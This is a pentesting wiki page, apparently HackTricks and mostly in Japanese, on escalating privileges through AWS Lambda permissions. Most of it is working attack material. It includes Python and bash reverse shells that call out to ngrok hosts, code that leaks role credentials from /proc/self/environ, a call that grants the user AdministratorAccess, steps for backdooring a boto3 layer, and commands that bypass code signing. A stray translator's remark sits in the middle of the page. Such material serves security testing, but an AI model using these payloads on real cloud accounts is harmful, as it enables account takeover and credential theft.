# AWS - Lambda Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## lambda

lambda に関する詳細情報は:

{{#ref}}
../../aws-services/aws-lambda-enum.md
{{#endref}}

### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)

これらの **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** 権限を持つユーザーは権限を昇格できます。\
彼らは **新しい Lambda function を作成し既存の IAM role を割り当てる** ことで、そのロールに紐づく権限を関数に付与できます。ユーザーはその後 **この Lambda function にコードを書きアップロードする（例：rev shell）** ことができます。\
関数がセットアップされると、ユーザーは AWS API 経由で Lambda function を呼び出して、**実行をトリガー**し意図した操作を行わせることができます。この手法により、ユーザーは Lambda function を介して間接的に操作を実行でき、その関数に紐づく IAM role に付与されたアクセスレベルで動作します。\\

A attacker could abuse this to get a **rev shell and steal the token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
```

```bash
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
lambda function自体から、**abuse the lambda role permissions**することもできます.\
もしlambda roleに十分な権限があれば、それを使って自分にadmin rightsを付与することができます:
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
外部接続を必要とせずに lambda の role credentials を leak することも可能です。これは内部タスクで使用される **Network isolated Lambdas** に役立ちます。不明な security groups によって reverse shells がフィルタされている場合、このコードにより lambda の出力として credentials を直接 leak できます。
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
```

```bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potential Impact:** 指定された任意の lambda サービスロールへの直接 privesc。

> [!CAUTION]
> たとえ興味深く見えても **`lambda:InvokeAsync`** **だけでは** **`aws lambda invoke-async` を実行する**ことはできず、`lambda:InvokeFunction` も必要です。

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`

前のシナリオと同様に、**`lambda:AddPermission`** の権限があれば、**自分に `lambda:InvokeFunction` の権限を付与することができます**。
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**潜在的な影響:** 指定された任意の lambda サービスロールへの直接的な privesc.

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`

`**`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** の権限（および場合によっては `dynamodb:PutItem` と `dynamodb:CreateTable`）を持つユーザーは、`lambda:InvokeFunction` がなくても間接的に **escalate privileges** できます.\\  
彼らは、悪意のあるコードを含む **Lambda function を作成し、既存の IAM role を割り当てる** ことができます。

ユーザーは Lambda を直接呼び出す代わりに、既存の DynamoDB テーブルをセットアップまたは利用し、それを event source mapping を通じて Lambda に紐付けます。こうすることで、Lambda function が **テーブルへの新しいアイテム登録時に自動的にトリガーされる**（ユーザーの操作または他のプロセスによる）ため、Lambda を間接的に呼び出して、渡された IAM role の権限でコードが実行されます。
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
もし AWS 環境ですでに DynamoDB が有効であれば、ユーザーは Lambda 関数のために **event source mapping を設定するだけでよい**。しかし、DynamoDB が使われていない場合は、ユーザーは **ストリーミングを有効にした新しいテーブルを作成する** 必要がある:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
これで、**connect the Lambda function to the DynamoDB table**を**creating an event source mapping**によって接続できます:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Lambda functionがDynamoDB streamにリンクされている場合、attackerは**DynamoDB streamを有効化することで間接的にLambdaをトリガーできます**。これはDynamoDB tableに**アイテムを挿入すること**で実行できます：
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Potential Impact:** 指定された lambda サービスロールへの直接的な privesc。

### `lambda:AddPermission`

この権限を持つ攻撃者は、**自身（または他者）に任意の権限を付与することができる**（これはリソースベースのポリシーを生成してリソースへのアクセスを付与する）:
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**潜在的な影響:** コードの変更と実行を許可する権限を付与することで、lambdaサービスロールへの直接的なprivescが可能になる。

### `lambda:AddLayerVersionPermission`

この権限を持つ攻撃者は **自分自身（または他者）に権限 `lambda:GetLayerVersion` を付与できる**。レイヤーにアクセスして、脆弱性や機密情報を探すことができる。
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potential Impact:** 機密情報へのアクセスの可能性。

### `lambda:UpdateFunctionCode`

**`lambda:UpdateFunctionCode`** 権限を持つユーザーは、**IAM ロールに紐付いた既存の Lambda 関数のコードを変更する可能性があります。**\
攻撃者は **Lambda のコードを変更して IAM 資格情報を exfiltrate することができます。**

攻撃者が関数を直接実行する権限を持っていない場合でも、Lambda 関数が既に存在し稼働中であれば、既存のワークフローやイベントを介してトリガーされる可能性が高く、結果として変更されたコードの実行を間接的に促進します。
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potential Impact:** 使用されている lambda サービスロールへの直接的な privesc.

### `lambda:UpdateFunctionConfiguration`

#### RCE via env variables

この権限があれば、Lambda を任意のコードを実行させるような environment variables を追加することが可能です。例えば python では、環境変数 `PYTHONWARNING` と `BROWSER` を悪用して python プロセスに任意のコマンドを実行させることができます:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
他のスクリプト言語については、使用できる他の env 変数があります。詳細は次のスクリプト言語のサブセクションを参照してください:

{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}

#### RCE via Lambda Layers

[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) は、lamdba function に **code** を含めることを可能にしますが、**storing it separately** することで関数のコードを小さく保て、**several functions can share code**。

lambda の内部では、次のような関数で python code が読み込まれるパスを確認できます：
```python
import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
These are the places:

1. /var/task
2. /opt/python/lib/python3.7/site-packages
3. /opt/python
4. /var/runtime
5. /var/lang/lib/python37.zip
6. /var/lang/lib/python3.7
7. /var/lang/lib/python3.7/lib-dynload
8. /var/lang/lib/python3.7/site-packages
9. /opt/python/lib/python3.7/site-packages
10. /opt/python

For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).

#### Exploitation

`lambda:UpdateFunctionConfiguration` の権限を悪用して、lambda 関数に **add a new layer** することが可能です。任意のコードを実行するには、この layer に lambda が import するような何らかの **library** を含める必要があります。lambda のコードを読めれば簡単に見つけられますし、lambda が **already using a layer** の場合があり、その layer を **download** して、そこに **add your code** することもできます。

For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
```bash
pip3 install -t ./lambda_layer boto3
```
`./lambda_layer/boto3/__init__.py` を開き、**global code に backdoor を追加**できます（例: exfiltrate credentials を行う関数や reverse shell を取得する関数など）。

その後、`./lambda_layer` ディレクトリを zip にして、**new lambda layer を自分のアカウントに upload**します（または被害者のアカウントにアップロードすることもできますが、権限がない場合があります）。\
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
次に、アップロードした lambda layer を **任意のアカウントからアクセス可能にする**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
そして、lambda layer を victim lambda function にアタッチします:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
次のステップは、可能であれば自分で**関数を呼び出す**か、通常の手段で**呼び出される**のを待つことです — こちらがより安全な方法です。

A **この脆弱性をよりステルスに悪用する方法**は次を参照してください:

{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}

**Potential Impact:** 使用されている lambda service role への Direct privesc。

### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`

これらの権限があれば、関数を作成して URL を呼び出して実行できるかもしれません…しかしテスト方法は見つけられなかったので、見つけたら教えてください！

### Lambda MitM

一部の lambdas はパラメータでユーザーからの **機密情報を受け取っている** ことがあります。もしそのうちの一つで RCE を得られれば、他のユーザーがそれに送っている情報を外部に持ち出せます。詳細は以下を参照してください:

{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}

## 参考文献

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)





### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing

Lambda 関数が code signing を強制している場合、Code Signing Config (CSC) を削除するか Warn にダウングレードできる攻撃者は、署名されていないコードを関数にデプロイできます。これは関数の IAM role やトリガーを変更せずに整合性保護をバイパスします。

Permissions (one of):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`

Notes:
- Path B の場合、CSC ポリシーが `WARN`（unsigned artifacts allowed）に設定されていれば、AWS Signer プロファイルは不要です。

Steps (REGION=us-east-1, TARGET_FN=<target-lambda-name>):

Prepare a small payload:
```bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
パス A) CSC を削除してからコードを更新:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
パス B) Warn にダウングレードしてコードを更新する（削除が許可されていない場合）:
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
確認しました。指定どおり、コード、タグ、リンク、パス、クラウド/SaaSプラットフォーム名、ハッキング用語などは翻訳せず、Markdown/HTML構文をそのまま維持して翻訳します。
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
潜在的な影響: 署名されたデプロイを強制するはずの関数に、任意の署名されていないコードをプッシュして実行できる可能性があり、結果として関数ロールの権限でコードが実行される恐れがある。

クリーンアップ:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}
